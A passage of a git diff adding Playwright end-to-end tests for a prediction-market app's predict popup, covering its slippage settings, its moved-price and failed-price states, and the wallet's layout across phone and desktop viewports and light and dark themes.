' + + ''; + document.body.append(host); + }); + + expect(await animatedProperties(dialog.getByRole("status").locator(".fs-enter"))).toEqual([["opacity"]]); + expect(await animatedProperties(page.locator("#entrances").locator(".fs-rise, .fs-spawn, path, polyline"))).toEqual( + [["opacity"], ["opacity"], ["opacity"], ["opacity"]], + ); + }); +}); + +test.describe("the popup's hover tone", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + // the chip tone: the panel tone is about 1.2:1 on the dark surface + test("tints the close button and the summary's head in the chip tone in the dark theme", async ({ page }) => { + const dialog = await openPopup(page, 2, "idle", undefined, "&theme=dark"); + for (const control of [ + dialog.getByRole("button", { name: "Close" }), + dialog.getByTestId("predict-summary").getByRole("button").first(), + ]) { + await control.hover(); + await expect(control).toHaveCSS("background-color", "rgb(46, 32, 108)"); + } + }); +}); + +test.describe("an estimate removed from the popup", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("fades and shrinks its row by opacity and scale while its height folds, drawing the rows below up", async ({ + page, + }) => { + const dialog = await openPopup(page, 3); + const row = dialog.getByRole("listitem").first(); + const next = dialog.getByRole("listitem").nth(1); + const name = await row.locator("[title]").getAttribute("title"); + const top = () => next.evaluate((element) => element.getBoundingClientRect().top); + const before = await top(); + + await dialog.getByRole("button", { name: `Remove ${name}` }).click(); + const moving = await row.evaluate((element) => + element.getAnimations().map((animation) => { + animation.pause(); + animation.currentTime = 50; + return (animation as CSSTransition).transitionProperty; + }), + ); + expect(moving).toEqual(expect.arrayContaining(["opacity", "scale", "height"])); + const halfway = await top(); + expect(halfway).toBeLessThan(before - 4); + expect(halfway).toBeGreaterThan(before - 28); + }); +}); diff --git a/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-1280x800-idle-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-1280x800-idle-chromium-darwin.png new file mode 100644 index 00000000..b8a953fd Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-1280x800-idle-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x667-10-options-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x667-10-options-chromium-darwin.png new file mode 100644 index 00000000..32c76a89 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x667-10-options-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x667-2-options-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x667-2-options-chromium-darwin.png new file mode 100644 index 00000000..ef910826 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x667-2-options-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x812-10-options-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x812-10-options-chromium-darwin.png new file mode 100644 index 00000000..f303baf1 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x812-10-options-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x812-2-options-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x812-2-options-chromium-darwin.png new file mode 100644 index 00000000..beddd52d Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-layout.spec.ts-snapshots/predict-popup-375x812-2-options-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts b/apps/web/e2e/tests/predict-popup-settings.spec.ts new file mode 100644 index 00000000..4c2ad121 --- /dev/null +++ b/apps/web/e2e/tests/predict-popup-settings.spec.ts @@ -0,0 +1,511 @@ +import { expect, test, type Locator, type Page } from "@playwright/test"; + +import { openHarness, startHarness } from "../utils/component-harness"; + +/** The windows and themes every new state is drawn in. */ +const VIEWPORTS = [ + { width: 1280, height: 800 }, + { width: 375, height: 667 }, +]; +const THEMES = ["light", "dark"] as const; +const TRADES_FIELD = "Max slippage, custom percent"; +const CREDITS_FIELD = "Credits swap slippage, custom percent"; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("predict-popup"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +/** Opens the harness with `query`, `?` params of e2e/harness/predict-popup/main.tsx, two options unless it names a count. */ +async function openPopup(page: Page, query: string) { + await openHarness(page, `${harness.url}?${query.includes("options=") ? "" : "options=2&"}${query}`); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByRole("button", { name: "Close" })).toBeVisible(); + await settle(dialog); + return dialog; +} + +/** Waits out every finite animation and transition in the dialog. */ +async function settle(dialog: Locator) { + await dialog.evaluate((element) => + Promise.all( + element + .getAnimations({ subtree: true }) + .filter((animation) => animation.effect?.getTiming().iterations !== Infinity) + // the cue's nudge ends where it starts, and waiting it out would end it + .filter((animation) => (animation as CSSAnimation).animationName !== "fsNudgeDown") + .filter((animation) => animation.timeline === document.timeline) + .map((animation) => animation.finished.catch(() => undefined)), + ), + ); +} + +/** The boxes the settings must not move: the dialog and its button's place. */ +async function footprint(dialog: Locator) { + const round = (value: number) => Math.round(value * 10) / 10; + const box = (await dialog.boundingBox())!; + const button = (await dialog.locator(".predict-footer > .predict-cta").boundingBox())!; + return { + dialog: [box.x, box.y, box.width, box.height].map(round), + footer: [button.x, button.y, button.width, button.height].map(round), + }; +} + +/** True when the element is whole inside the window and every clipping ancestor, and nothing paints over its centre. */ +function isWhole(locator: Locator): Promise { + return locator.evaluate((element) => { + const rect = element.getBoundingClientRect(); + if (rect.width === 0 || rect.height === 0) return false; + let clip = { top: 0, left: 0, bottom: window.innerHeight, right: window.innerWidth }; + for (let parent = element.parentElement; parent; parent = parent.parentElement) { + const { overflowX, overflowY } = getComputedStyle(parent); + if (overflowX === "visible" && overflowY === "visible") continue; + const box = parent.getBoundingClientRect(); + clip = { + top: Math.max(clip.top, box.top), + left: Math.max(clip.left, box.left), + bottom: Math.min(clip.bottom, box.bottom), + right: Math.min(clip.right, box.right), + }; + } + if (rect.top < clip.top - 1 || rect.left < clip.left - 1 || rect.bottom > clip.bottom + 1) return false; + if (rect.right > clip.right + 1) return false; + const hit = document.elementFromPoint(rect.left + rect.width / 2, rect.top + rect.height / 2); + return hit !== null && (hit === element || element.contains(hit)); + }); +} + +for (const viewport of VIEWPORTS) { + test.describe(`the settings at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + for (const theme of THEMES) { + test(`open over the body from the gear and keep the popup's footprint, in the ${theme} theme`, async ({ + page, + }) => { + const dialog = await openPopup(page, `theme=${theme}`); + const before = await footprint(dialog); + + await dialog.getByRole("button", { name: "Settings", exact: true }).click(); + await settle(dialog); + + expect(await footprint(dialog)).toEqual(before); + await expect(dialog.getByRole("heading", { level: 2, name: "Settings" })).toBeVisible(); + expect(await isWhole(dialog.getByRole("textbox", { name: TRADES_FIELD }))).toBe(true); + // a visitor with no credits has no credits swap to set + await expect(dialog.getByRole("textbox", { name: CREDITS_FIELD })).toHaveCount(0); + expect(await isWhole(dialog.getByRole("button", { name: "Done" }))).toBe(true); + // the body is under the panel, covered and out of the focus order + const predict = dialog.locator(".predict-footer > .predict-cta"); + expect(await isWhole(predict)).toBe(false); + expect( + await predict.evaluate((element: HTMLElement) => (element.focus(), document.activeElement === element)), + ).toBe(false); + expect(await page.evaluate(() => document.documentElement.scrollWidth <= window.innerWidth)).toBe(true); + }); + + test(`warn on a high custom slippage in the warning tone, in the ${theme} theme`, async ({ page }) => { + const dialog = await openPopup(page, `theme=${theme}&settings=open&slippage=trade:800`); + const warning = dialog.getByText("High slippage. A trade may fill at a much worse price."); + + await expect(warning).toBeVisible(); + expect(await isWhole(warning)).toBe(true); + const [color, tone] = await warning.evaluate((element) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-tone-warning-text)"; + element.append(probe); + const expected = getComputedStyle(probe).color; + probe.remove(); + return [getComputedStyle(element).color, expected]; + }); + expect(color).toBe(tone); + }); + + test(`draws the high-slippage panel as reviewed, in the ${theme} theme`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup( + page, + `theme=${theme}&settings=open&credits=enough&slippage=trade:800,credits:50`, + ); + await dialog.getByRole("textbox", { name: TRADES_FIELD }).blur(); + await settle(dialog); + + await expect(page).toHaveScreenshot(`settings-${viewport.width}x${viewport.height}-${theme}.png`, { + animations: "disabled", + }); + }); + } + }); +} + +test.describe("the settings on a phone on its side at 844 x 390", () => { + test.use({ viewport: { width: 844, height: 390 } }); + + test("open under the header, whole, from a popup scrolled to its end", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&options=10"); + const gear = dialog.getByRole("button", { name: "Settings", exact: true }); + const scrolled = await gear.evaluate((element) => { + let scroller = element.parentElement!; + while (getComputedStyle(scroller).overflowY !== "auto") scroller = scroller.parentElement!; + scroller.scrollTop = scroller.scrollHeight; + return scroller.scrollTop; + }); + expect(scrolled, "the popup scrolls on a phone on its side").toBeGreaterThan(0); + + await gear.click(); + await settle(dialog); + + const header = (await dialog.locator(".predict-header").boundingBox())!; + const panel = (await dialog.locator(".predict-settings").boundingBox())!; + expect(Math.round(panel.y)).toBe(Math.round(header.y + header.height)); + expect(await isWhole(dialog.getByRole("textbox", { name: TRADES_FIELD }))).toBe(true); + expect(await isWhole(dialog.getByRole("button", { name: "Done" }))).toBe(true); + expect(await isWhole(dialog.locator(".predict-footer > .predict-cta"))).toBe(false); + }); +}); + +test.describe("the settings by keyboard", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("open from the gear with Enter, reach each choice with Tab, and close on Escape back to the gear", async ({ + page, + }) => { + const dialog = await openPopup(page, "theme=light"); + const gear = dialog.getByRole("button", { name: "Settings", exact: true }); + + await gear.focus(); + await page.keyboard.press("Enter"); + await settle(dialog); + const auto = dialog.locator('[data-slippage="tradeBps"]').getByRole("button", { name: "Auto" }); + await expect(auto).toBeFocused(); + await page.keyboard.press("Tab"); + await expect(dialog.getByRole("textbox", { name: TRADES_FIELD })).toBeFocused(); + await page.keyboard.type("2"); + await page.keyboard.press("Escape"); + + await expect(gear).toBeFocused(); + await expect(gear).toHaveAttribute("aria-expanded", "false"); + await expect(dialog).toBeVisible(); + }); + + test("wrap Tab at the panel's last control to the gear, and Shift+Tab at the gear back to it", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&credits=enough&settings=open"); + const gear = dialog.getByRole("button", { name: "Settings", exact: true }); + const done = dialog.getByRole("button", { name: "Done" }); + + await done.focus(); + await page.keyboard.press("Tab"); + await expect(gear).toBeFocused(); + await page.keyboard.press("Shift+Tab"); + await expect(done).toBeFocused(); + }); + + test("keep an out-of-range entry and its error once the field is left, saving nothing", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&settings=open"); + const field = dialog.getByRole("textbox", { name: TRADES_FIELD }); + + await field.fill("60"); + await expect(field).not.toHaveAttribute("aria-invalid"); + await dialog.getByRole("heading", { name: "Max slippage" }).click(); + + await expect(field).toHaveValue("60"); + await expect(field).toHaveAttribute("aria-invalid", "true"); + await expect(dialog.getByText("Enter a percent from 0.01 to 50.")).toBeVisible(); + expect(await page.evaluate(() => localStorage.getItem("foresight-predict-slippage") ?? "")).not.toContain( + '"tradeBps":6', + ); + }); + + test("keep a custom value in the browser across a reload", async ({ page }) => { + await openPopup(page, "theme=light&slippage=trade:250"); + await page.goto(`${harness.url}?options=2&settings=open`); + await settle(page.getByRole("dialog")); + + await expect(page.getByRole("dialog").getByRole("textbox", { name: TRADES_FIELD })).toHaveValue("2.5"); + }); + + test("open by opacity alone under reduced motion", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup(page, "theme=light&settings=open"); + + const style = await dialog + .locator(".predict-settings-card") + .evaluate((element) => [getComputedStyle(element).transform, getComputedStyle(element).filter]); + expect(style).toEqual(["none", "none"]); + }); +}); + +test.describe("the settings, compact", () => { + test.use({ viewport: { width: 375, height: 667 } }); + + test("sit in a card under the header, sized to its rows, over the dimmed body that closes them", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&credits=enough&settings=open"); + const header = (await dialog.locator(".predict-header").boundingBox())!; + const card = (await dialog.locator(".predict-settings-card").boundingBox())!; + const panel = (await dialog.locator(".predict-settings").boundingBox())!; + + // the header's own 8px gap, then 4px + expect(card.y - (header.y + header.height)).toBeLessThanOrEqual(12); + expect(card.height).toBeLessThan(panel.height / 2); + expect(await isWhole(dialog.getByRole("button", { name: "Reset" }))).toBe(true); + await expect(dialog.getByRole("textbox", { name: TRADES_FIELD })).toHaveAttribute("placeholder", "1"); + + await page.mouse.click(panel.x + panel.width / 2, panel.y + panel.height - 40); + await settle(dialog); + await expect(dialog.getByRole("button", { name: "Settings", exact: true })).toHaveAttribute( + "aria-expanded", + "false", + ); + }); + + test("keep Auto's whole target under a warning", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&settings=open&slippage=trade:800"); + const auto = dialog.locator('[data-slippage="tradeBps"]').getByRole("button", { name: "Auto" }); + const box = (await auto.boundingBox())!; + + const hit = await page.evaluate(({ x, y }) => document.elementFromPoint(x, y)?.closest("button")?.textContent, { + x: box.x + box.width / 2, + y: box.y + box.height + 5, + }); + expect(hit).toBe("Auto"); + }); + + test("offer Reset on an entry it refused, back to Auto", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&settings=open"); + const field = dialog.getByRole("textbox", { name: TRADES_FIELD }); + await field.fill("99"); + await dialog.getByRole("heading", { name: "Max slippage" }).click(); + const reset = dialog.getByRole("button", { name: "Reset" }); + + await expect(reset).toBeEnabled(); + await reset.click(); + + await expect(field).toHaveValue(""); + await expect(dialog.locator('[data-slippage="tradeBps"]').getByRole("button", { name: "Auto" })).toHaveAttribute( + "aria-pressed", + "true", + ); + }); + + test("ring the gear's mark in the gear's own fill while the settings are open", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&settings=open&slippage=trade:300"); + const gear = dialog.getByRole("button", { name: "Settings", exact: true }); + const [fill, ring] = await gear.evaluate((element) => [ + getComputedStyle(element).backgroundColor, + getComputedStyle(element.querySelector("[data-testid=settings-custom]")!).boxShadow, + ]); + + expect(ring).toContain(`${fill} 0px 0px 0px 2px`); + }); + + test("mark the gear while a custom value is set", async ({ page }) => { + const auto = await openPopup(page, "theme=light"); + await expect(auto.getByTestId("settings-custom")).toHaveCount(0); + + const custom = await openPopup(page, "theme=light&slippage=trade:300"); + const dot = custom.getByTestId("settings-custom"); + await expect(dot).toBeVisible(); + expect(await isWhole(dot)).toBe(true); + }); + + test("open after a run stopped with money moved", async ({ page }) => { + const dialog = await openPopup(page, "theme=light&state=failed&reason=reverted&first=0"); + const gear = dialog.getByRole("button", { name: "Settings", exact: true }); + + await expect(gear).toBeEnabled(); + await gear.click(); + await settle(dialog); + expect(await isWhole(dialog.getByRole("textbox", { name: TRADES_FIELD }))).toBe(true); + }); +}); + +test.describe("plans moved by the visitor's new slippage at 320 x 568", () => { + test.use({ viewport: { width: 320, height: 568 } }); + + test("say so whole on the status line and confirm the new trades, keeping the popup's footprint", async ({ + page, + }) => { + const before = await footprint(await openPopup(page, "theme=light&state=moved")); + const dialog = await openPopup(page, "theme=light&state=moved&movedBy=slippage"); + + // the button sizes to its own label beside Go back, so only its row is held + const after = await footprint(dialog); + expect(after.dialog).toEqual(before.dialog); + expect([after.footer[1], after.footer[3]]).toEqual([before.footer[1], before.footer[3]]); + const status = dialog.getByRole("status"); + await expect(status).toHaveText("Your new slippage changes the trades. Confirm to go on."); + expect(await status.evaluate((element) => element.scrollHeight <= element.clientHeight + 1)).toBe(true); + await expect(dialog.getByRole("button", { name: "Confirm trades" })).toBeEnabled(); + }); +}); + +test.describe("prices that moved at 320 x 568", () => { + test.use({ viewport: { width: 320, height: 568 } }); + + for (const theme of THEMES) { + test(`stack Confirm over Go back inside the popup's footprint, in the ${theme} theme`, async ({ page }) => { + const before = await openPopup(page, `theme=${theme}`); + await before.getByTestId("predict-summary").getByRole("button").first().click(); + await settle(before); + const idle = await footprint(before); + const dialog = await openPopup(page, `theme=${theme}&state=moved`); + + // the dialog keeps its box; Confirm keeps Predict's width and height, Go back takes a row of its own under it + const moved = await footprint(dialog); + expect(moved.dialog).toEqual(idle.dialog); + expect([moved.footer[0], moved.footer[2], moved.footer[3]]).toEqual([ + idle.footer[0], + idle.footer[2], + idle.footer[3], + ]); + const confirm = dialog.getByRole("button", { name: "Confirm new prices" }); + const back = dialog.getByRole("button", { name: "Go back" }); + await expect(confirm).toBeEnabled(); + const [over, under] = [(await confirm.boundingBox())!, (await back.boundingBox())!]; + expect(under.y).toBeCloseTo(over.y + over.height + 8, 0); + expect([under.x, under.width, under.height]).toEqual([over.x, over.width, over.height]); + expect(await isWhole(confirm)).toBe(true); + expect(await isWhole(back)).toBe(true); + const footer = dialog.locator(".predict-footer"); + expect(await footer.evaluate((element) => element.scrollWidth <= element.clientWidth)).toBe(true); + expect(await isWhole(dialog.getByTestId("status-text"))).toBe(true); + await expect(page).toHaveScreenshot(`moved-320x568-${theme}.png`, { animations: "disabled" }); + }); + } +}); + +test.describe("the moved footer's focus order", () => { + for (const viewport of [ + { width: 320, height: 568 }, + { width: 375, height: 667 }, + ]) { + test(`runs as Confirm new prices and Go back are drawn, at ${viewport.width} wide`, async ({ page }) => { + await page.setViewportSize(viewport); + const dialog = await openPopup(page, "state=moved"); + const confirm = dialog.getByRole("button", { name: "Confirm new prices" }); + const back = dialog.getByRole("button", { name: "Go back" }); + const [c, b] = [(await confirm.boundingBox())!, (await back.boundingBox())!]; + // stacked, the first drawn is the higher one; in a row, the one to the left + const [first, second] = (c.y === b.y ? c.x < b.x : c.y < b.y) ? [confirm, back] : [back, confirm]; + + await first.focus(); + await page.keyboard.press("Tab"); + await expect(second).toBeFocused(); + await page.keyboard.press("Shift+Tab"); + await expect(first).toBeFocused(); + }); + } + + test("brings Go back in with the enter motion", async ({ page }) => { + await page.setViewportSize({ width: 320, height: 568 }); + const dialog = await openPopup(page, "state=moved"); + const wrapper = dialog + .locator(".predict-footer > div") + .filter({ has: page.getByRole("button", { name: "Go back" }) }); + expect(await wrapper.evaluate((element) => getComputedStyle(element).animationName)).toBe("fsFadeUp"); + }); +}); + +test.describe("prices that could not be read", () => { + test.use({ viewport: { width: 375, height: 667 } }); + + test("offer Try again in the button's place, keeping the popup's footprint", async ({ page }) => { + const idle = await openPopup(page, "theme=light"); + const before = await footprint(idle); + const dialog = await openPopup(page, "theme=light&prices=failed"); + + expect(await footprint(dialog)).toEqual(before); + await expect(dialog.getByRole("status")).toHaveText("Prices could not be read."); + await expect(dialog.getByRole("button", { name: "Try again" })).toBeEnabled(); + }); +}); + +for (const viewport of VIEWPORTS) { + test.describe(`prices that moved at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + for (const theme of THEMES) { + test(`keep the popup's footprint, say so whole on the status line and ask to confirm, in the ${theme} theme`, async ({ + page, + }) => { + // moved opens Details, the one region that may add to the popup, so idle is measured with it open + const before = await openPopup(page, `theme=${theme}`); + await before.getByTestId("predict-summary").getByRole("button").first().click(); + await settle(before); + const idle = await footprint(before); + const dialog = await openPopup(page, `theme=${theme}&state=moved`); + + // Go back shares the button's row, so only its width gives way + const moved = await footprint(dialog); + expect(moved.dialog).toEqual(idle.dialog); + expect([moved.footer[1], moved.footer[3]]).toEqual([idle.footer[1], idle.footer[3]]); + const status = dialog.getByRole("status"); + await expect(status).toHaveText(/^\S.* now goes to .+, not .+\. Confirm to go on\.$/); + expect(await isWhole(status.getByTestId("status-text"))).toBe(true); + await expect(dialog.getByRole("button", { name: "Confirm new prices" })).toBeEnabled(); + expect(await isWhole(dialog.getByRole("button", { name: "Go back" }))).toBe(true); + }); + + test(`name the changed move's figures before, in the ${theme} theme`, async ({ page }) => { + const dialog = await openPopup(page, `theme=${theme}&state=moved`); + // Details opens on its own at moved + await expect(dialog.getByTestId("predict-summary").getByRole("button").first()).toHaveAttribute( + "aria-expanded", + "true", + ); + await settle(dialog); + const was = dialog.getByTestId("market-was"); + + await was.scrollIntoViewIfNeeded(); + await expect(was).toHaveText(/^Before: 250 → \d+(\.\d+)? \$M$/); + expect(await isWhole(was)).toBe(true); + await expect(page).toHaveScreenshot(`moved-${viewport.width}x${viewport.height}-${theme}.png`, { + animations: "disabled", + }); + }); + } + }); + + test.describe(`Details with fees, a short option, a credits swap and custom slippage at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + for (const theme of THEMES) { + test(`shows every new row whole inside the body, in the ${theme} theme`, async ({ page }) => { + const dialog = await openPopup( + page, + `theme=${theme}&fee=3000&short=1&credits=enough&swapLoss=0.03&slippage=trade:300,credits:50`, + ); + const head = dialog.getByTestId("predict-summary").getByRole("button").first(); + await head.click(); + await settle(dialog); + + await expect(head).toHaveText(/^2 markets move · 2 stop short$/); + const rows = [ + dialog.getByTestId("credits-swap"), + dialog.getByTestId("credits-loss"), + dialog.getByTestId("stops-short").first(), + dialog + .getByRole("listitem") + .filter({ hasText: /^Pool fees/ }) + .first(), + dialog.getByTestId("fees-total"), + ...(await dialog.getByTestId("slippage-row").all()), + ]; + for (const row of rows) { + await row.scrollIntoViewIfNeeded(); + expect.soft(await isWhole(row), (await row.textContent()) ?? "").toBe(true); + } + await expect(dialog.getByTestId("slippage-row")).toHaveText(["Max slippage3%", "Credits swap slippage0.5%"]); + await dialog.getByTestId("stops-short").first().scrollIntoViewIfNeeded(); + await expect(page).toHaveScreenshot(`details-${viewport.width}x${viewport.height}-${theme}.png`, { + animations: "disabled", + }); + }); + } + }); +} diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-1280x800-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-1280x800-dark-chromium-darwin.png new file mode 100644 index 00000000..cef92e78 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-1280x800-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-1280x800-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-1280x800-light-chromium-darwin.png new file mode 100644 index 00000000..0ec06f4a Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-1280x800-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-375x667-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-375x667-dark-chromium-darwin.png new file mode 100644 index 00000000..f7b5f5fc Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-375x667-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-375x667-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-375x667-light-chromium-darwin.png new file mode 100644 index 00000000..562e822c Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/details-375x667-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-1280x800-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-1280x800-dark-chromium-darwin.png new file mode 100644 index 00000000..4f6b4c82 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-1280x800-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-1280x800-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-1280x800-light-chromium-darwin.png new file mode 100644 index 00000000..715047bd Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-1280x800-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-320x568-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-320x568-dark-chromium-darwin.png new file mode 100644 index 00000000..5ee29f3d Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-320x568-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-320x568-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-320x568-light-chromium-darwin.png new file mode 100644 index 00000000..4c350597 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-320x568-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-375x667-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-375x667-dark-chromium-darwin.png new file mode 100644 index 00000000..b02a6412 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-375x667-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-375x667-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-375x667-light-chromium-darwin.png new file mode 100644 index 00000000..41fb34bc Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/moved-375x667-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-1280x800-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-1280x800-dark-chromium-darwin.png new file mode 100644 index 00000000..c2264db3 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-1280x800-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-1280x800-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-1280x800-light-chromium-darwin.png new file mode 100644 index 00000000..253343e6 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-1280x800-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-375x667-dark-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-375x667-dark-chromium-darwin.png new file mode 100644 index 00000000..cb1a5757 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-375x667-dark-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-375x667-light-chromium-darwin.png b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-375x667-light-chromium-darwin.png new file mode 100644 index 00000000..cd40d710 Binary files /dev/null and b/apps/web/e2e/tests/predict-popup-settings.spec.ts-snapshots/settings-375x667-light-chromium-darwin.png differ diff --git a/apps/web/e2e/tests/trade-wallet-layout.spec.ts b/apps/web/e2e/tests/trade-wallet-layout.spec.ts new file mode 100644 index 00000000..cd12dab6 --- /dev/null +++ b/apps/web/e2e/tests/trade-wallet-layout.spec.ts @@ -0,0 +1,119 @@ +import { expect, test, type Page } from "@playwright/test"; + +import { openHarness, startHarness } from "../utils/component-harness"; + +const LONGEST = "Greater Metropolitan Region of São Paulo and Surrounding Areas"; +const PHONES = [ + { width: 320, height: 568 }, + { width: 375, height: 667 }, +]; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("trade-wallet"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +async function open(page: Page, query: Record) { + await openHarness(page, `${harness.url}?${new URLSearchParams(query)}`); +} + +for (const viewport of PHONES) { + test(`option names truncate inside their cards and the page does not scroll sideways at ${viewport.width}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + await open(page, { view: "balances" }); + const name = page.getByText(LONGEST, { exact: true }); + await expect(name).toBeVisible(); + + const layout = await page.evaluate(() => ({ + pageOverflow: document.documentElement.scrollWidth - document.documentElement.clientWidth, + wallet: document.querySelector("section")!.getBoundingClientRect().right, + })); + const spans = await name.evaluate((element) => ({ + clipped: element.scrollWidth > element.clientWidth, + right: element.getBoundingClientRect().right, + })); + + expect(layout.pageOverflow).toBe(0); + expect(spans.clipped).toBe(true); + expect(spans.right).toBeLessThanOrEqual(layout.wallet); + }); + + test(`an over-balance line in Mint reads left-aligned and keeps the dialog's height at ${viewport.width}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + await open(page, { view: "mint", available: "98765432109.1234" }); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByText(/^Balance: /)).toBeVisible(); + const before = (await dialog.boundingBox())!.height; + + await dialog.getByRole("spinbutton").fill("999999999999"); + const message = dialog.getByText(/^Not enough balance\. Max /); + await expect(message).toBeVisible(); + + expect(await message.evaluate((element) => getComputedStyle(element).textAlign)).toBe("left"); + expect((await message.boundingBox())!.height).toBeGreaterThan(30); + expect((await dialog.boundingBox())!.height).toBe(before); + }); +} + +test("the dialog's close button stays in view once its content is scrolled to the end", async ({ page }) => { + // shorter than the Mint dialog once the dialog keeps 4.5rem clear above and below + await page.setViewportSize({ width: 375, height: 400 }); + await open(page, { view: "mint" }); + const close = page.getByRole("button", { name: "Close" }); + await expect(close).toBeVisible(); + + const scrolled = await page.getByRole("dialog").evaluate((dialog) => { + const scrollers = [dialog, 